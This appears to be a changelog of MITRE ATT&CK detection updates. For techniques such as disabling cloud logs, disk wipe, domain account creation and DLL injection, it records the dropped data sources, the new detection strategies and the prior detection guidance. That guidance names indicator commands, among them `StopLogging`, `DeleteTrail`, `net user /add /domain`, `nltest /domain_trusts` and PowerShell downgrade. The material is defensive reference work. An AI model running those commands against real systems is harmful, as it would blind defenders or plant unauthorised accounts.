STIX Field	Old value	New Value
x_mitre_data_sources	['Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:19:38.109000+00:00	2025-10-24 17:48:58.515000+00:00
x_mitre_detection	Monitor cloud logs for modification or creation of new security groups or firewall rules.

[T1562.008] Impair Defenses: Disable or Modify Cloud Logs

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Modification)
DS0025: Cloud Service (Cloud Service Disable)
DS0025: Cloud Service (Cloud Service Modification)

New Detections (Detection Strategies -> Technique):

DET0289: Detection Strategy for Disable or Modify Cloud Logs

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Cloud Service: Cloud Service Modification', 'User Account: User Account Modification', 'Cloud Service: Cloud Service Disable']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:19:53.826000+00:00	2025-10-24 17:49:23.308000+00:00
x_mitre_detection	Monitor logs for API calls to disable logging. In AWS, monitor for: `StopLogging` and `DeleteTrail`.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: `google.logging.v2.ConfigServiceV2.UpdateSink`.(Citation: Configuring Data Access audit logs) In Azure, monitor for `az monitor diagnostic-settings delete`.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.

[T1562.004] Impair Defenses: Disable or Modify System Firewall

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0018: Firewall (Firewall Disable)
DS0018: Firewall (Firewall Rule Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0145: Detection of Disabled or Modified System Firewalls across OS Platforms.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Firewall: Firewall Rule Modification', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Firewall: Firewall Disable']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:31.395000+00:00	2025-10-24 17:48:47.755000+00:00
x_mitre_detection	Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.

[T1561.001] Disk Wipe: Disk Content Wipe

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0016: Drive (Drive Access)
DS0016: Drive (Drive Modification)
DS0017: Command (Command Execution)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0316: Detection Strategy for Disk Content Wipe via Direct Access and Overwrite

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Drive: Drive Modification', 'Drive: Drive Access', 'Driver: Driver Load', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:23.834000+00:00	2025-10-24 17:49:38.983000+00:00
x_mitre_detection	Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the `\\\\.\\` notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity. For network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.

[T1561.002] Disk Wipe: Disk Structure Wipe

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0016: Drive (Drive Access)
DS0016: Drive (Drive Modification)
DS0017: Command (Command Execution)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0297: Detection Strategy for Disk Structure Wipe via Boot/Partition Overwrite

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Driver: Driver Load', 'Drive: Drive Modification', 'Drive: Drive Access', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:04.838000+00:00	2025-10-24 17:48:22.482000+00:00
x_mitre_detection	Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the `\\\\.\\` notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity. For network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.

[T1561] Disk Wipe

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0016: Drive (Drive Access)
DS0016: Drive (Drive Modification)
DS0017: Command (Command Execution)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0137: Detection Strategy for Disk Wipe via Direct Disk Access and Destructive Commands

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Driver: Driver Load', 'Drive: Drive Access', 'Command: Command Execution', 'Drive: Drive Modification', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:09.974000+00:00	2025-10-24 17:48:27.697000+00:00
x_mitre_detection	Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the `\\\\.\\` notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.

[T1021.003] Remote Services: Distributed Component Object Model

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0285: Multi-Event Behavioral Detection for DCOM-Based Remote Code Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Module: Module Load', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:20:51.024000+00:00	2025-10-24 17:48:53.724000+00:00
x_mitre_detection	Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).

[T1136.002] Create Account: Domain Account

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Creation)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0003: T1136.002 Detection Strategy - Domain Account Creation Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'User Account: User Account Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:21:24.212000+00:00	2025-10-24 17:48:57.883000+00:00
x_mitre_detection	Monitor for processes and command-line parameters associated with domain account creation, such as `net user /add /domain`. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.

[T1087.002] Account Discovery: Domain Account

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0029: Network Traffic (Network Traffic Content)
DS0036: Group (Group Enumeration)

New Detections (Detection Strategies -> Technique):

DET0129: Domain Account Enumeration Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'Group: Group Enumeration']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:21:07.252000+00:00	2025-10-24 17:48:31.050000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1078.002] Valid Accounts: Domain Accounts

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0028: Logon Session (Logon Session Creation)
DS0028: Logon Session (Logon Session Metadata)

New Detections (Detection Strategies -> Technique):

DET0210: Abuse of Domain Accounts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:20.358000+00:00	2025-10-24 17:49:21.034000+00:00
x_mitre_detection	Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.

[T1556.001] Modify Authentication Process: Domain Controller Authentication

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0022: File (File Modification)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0271: Detect Domain Controller Authentication Process Modification (Skeleton Key)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'Process: Process Access', 'File: File Modification', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:21:45.658000+00:00	2025-10-24 17:49:27.324000+00:00
x_mitre_detection	Monitor for calls to `OpenProcess` that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access).

[T1090.004] Proxy: Domain Fronting

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0196: Domain Fronting Behavior via Mismatched TLS SNI and HTTP Host Headers

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:02.492000+00:00	2025-10-24 17:49:23.135000+00:00
x_mitre_detection	If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)

[T1568.002] Dynamic Resolution: Domain Generation Algorithms

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0419: Detection Strategy for Dynamic Resolution using Domain Generation Algorithms.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:07.610000+00:00	2025-10-24 17:48:25.458000+00:00
x_mitre_detection	Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)

[T1069.002] Permission Groups Discovery: Domain Groups

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0036: Group (Group Enumeration)

New Detections (Detection Strategies -> Technique):

DET0360: Behavioral Detection of Domain Group Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Group: Group Enumeration', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:22:08.417000+00:00	2025-10-24 17:48:33.946000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1590.001] Gather Victim Network Information: Domain Properties

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0847: Detection of Domain Properties

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:22:22.764000+00:00	2025-10-24 17:49:31.581000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1482] Domain Trust Discovery

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0007: Detection of Domain Trust Discovery via API, Script, and CLI Enumeration

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:22:35.004000+00:00	2025-10-24 17:48:58.061000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)

[T1484] Domain or Tenant Policy Modification

Current version: 3.2

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0026: Active Directory (Active Directory Object Creation)
DS0026: Active Directory (Active Directory Object Deletion)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0270: Detection of Domain or Tenant Policy Modifications via AD and Identity Provider

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:19.033000+00:00	2025-10-24 17:49:33.897000+00:00
x_mitre_detection	It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes `Set federation settings on domain` and `Set domain authentication`.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)

[T1583.001] Acquire Infrastructure: Domains

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0038: Domain Name (Active DNS)
DS0038: Domain Name (Domain Registration)
DS0038: Domain Name (Passive DNS)

New Detections (Detection Strategies -> Technique):

DET0892: Detection of Domains

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Domain Name: Passive DNS', 'Domain Name: Domain Registration', 'Domain Name: Active DNS']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:23:15.751000+00:00	2025-10-24 17:48:42.246000+00:00
x_mitre_detection	Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.

[T1584.001] Compromise Infrastructure: Domains

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0038: Domain Name (Active DNS)
DS0038: Domain Name (Domain Registration)
DS0038: Domain Name (Passive DNS)

New Detections (Detection Strategies -> Technique):

DET0863: Detection of Domains

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Domain Name: Passive DNS', 'Domain Name: Domain Registration', 'Domain Name: Active DNS']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:22:55.487000+00:00	2025-10-24 17:49:38.448000+00:00
x_mitre_detection	Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1036.007] Masquerading: Double File Extension

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0022: File (File Creation)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0366: Detection Strategy for Double File Extension Masquerading

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:23:40.712000+00:00	2025-10-24 17:48:25.732000+00:00
x_mitre_detection	Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)

[T1562.010] Impair Defenses: Downgrade Attack

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0350: Detecting Downgrade Attacks

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'Process: Process Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:46.929000+00:00	2025-10-24 17:49:02.550000+00:00
x_mitre_detection	Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: `powershell –v 2`). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment. Monitor for Windows event ID (EID) 400, specifically the `EngineVersion` field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks) Monitor network data to detect cases where HTTP is used instead of HTTPS. Monitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Bitlocker can be disabled by calling DisableKeyProtectors and setting DisableCount to 0.(Citation: welivesecurity) Monitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Adversaries can construct new files in the EFI System Partition.(Citation: Microsoft Security)(Citation: welivesecurity) Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender. HVCI (Hypervisor-Protected Code Integrity) can be disabled by modifying the registry key to 0, allowing the system to run custom unsigned kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)

[T1601.002] Modify System Image: Downgrade System Image

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0569: Detection Strategy for Downgrade System Image on Network Devices

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:39.086000+00:00	2025-10-24 17:49:39.331000+00:00
x_mitre_detection	Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file.

[T1189] Drive-by Compromise

Current version: 1.7

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0022: File (File Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0176: Drive-by Compromise — Behavior-based, Multi-platform Detection Strategy (T1189)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Process: Process Creation', 'File: File Creation', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:12.900000+00:00	2025-10-24 17:49:28.067000+00:00
x_mitre_detection	Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.

[T1608.004] Stage Capabilities: Drive-by Target

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0825: Detection of Drive-by Target

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:24:03.854000+00:00	2025-10-24 17:48:36.634000+00:00
x_mitre_detection	If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).

[T1574.004] Hijack Execution Flow: Dylib Hijacking

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0011: Module (Module Load)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0152: Detection Strategy for Hijack Execution Flow: Dylib Hijacking

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'File: File Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:24.300000+00:00	2025-10-24 17:49:39.243000+00:00
x_mitre_detection	Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. Run path dependent libraries can include `LC_LOAD_DYLIB`, `LC_LOAD_WEAK_DYLIB`, and `LC_RPATH`. Other special keywords are recognized by the macOS loader are `@rpath`, `@loader_path`, and `@executable_path`.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the `otool -l` command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)

[T1559.002] Inter-Process Communication: Dynamic Data Exchange

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0012: Script (Script Execution)

New Detections (Detection Strategies -> Technique):

DET0504: Detect Abuse of Dynamic Data Exchange (T1559.002)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:15.927000+00:00	2025-10-24 17:48:31.581000+00:00
x_mitre_detection	Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe). OLE, Office Open XML, CSV, and other files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )

[T1574.006] Hijack Execution Flow: Dynamic Linker Hijacking

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0435: Detection Strategy for Hijack Execution Flow: Dynamic Linker Hijacking

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:36.147000+00:00	2025-10-24 17:48:51.810000+00:00
x_mitre_detection	Monitor for changes to environment variables and files associated with loading shared libraries such as `LD_PRELOAD` and `DYLD_INSERT_LIBRARIES`, as well as the commands to implement these changes. Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.

[T1568] Dynamic Resolution

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0039: Detection Strategy for Dynamic Resolution across OS Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:15:46.359000+00:00	2025-10-24 17:49:00.128000+00:00
x_mitre_detection	Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.

[T1055.001] Process Injection: Dynamic-link Library Injection

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Metadata)
DS0009: Process (Process Modification)
DS0011: Module (Module Load)

New Detections (Detection Strategies -> Technique):

DET0389: Behavioral Detection of DLL Injection via Windows API

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Metadata', 'Process: Process Access', 'Process: Process Modification', 'Module: Module Load', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:22.834000+00:00	2025-10-24 17:49:36.680000+00:00
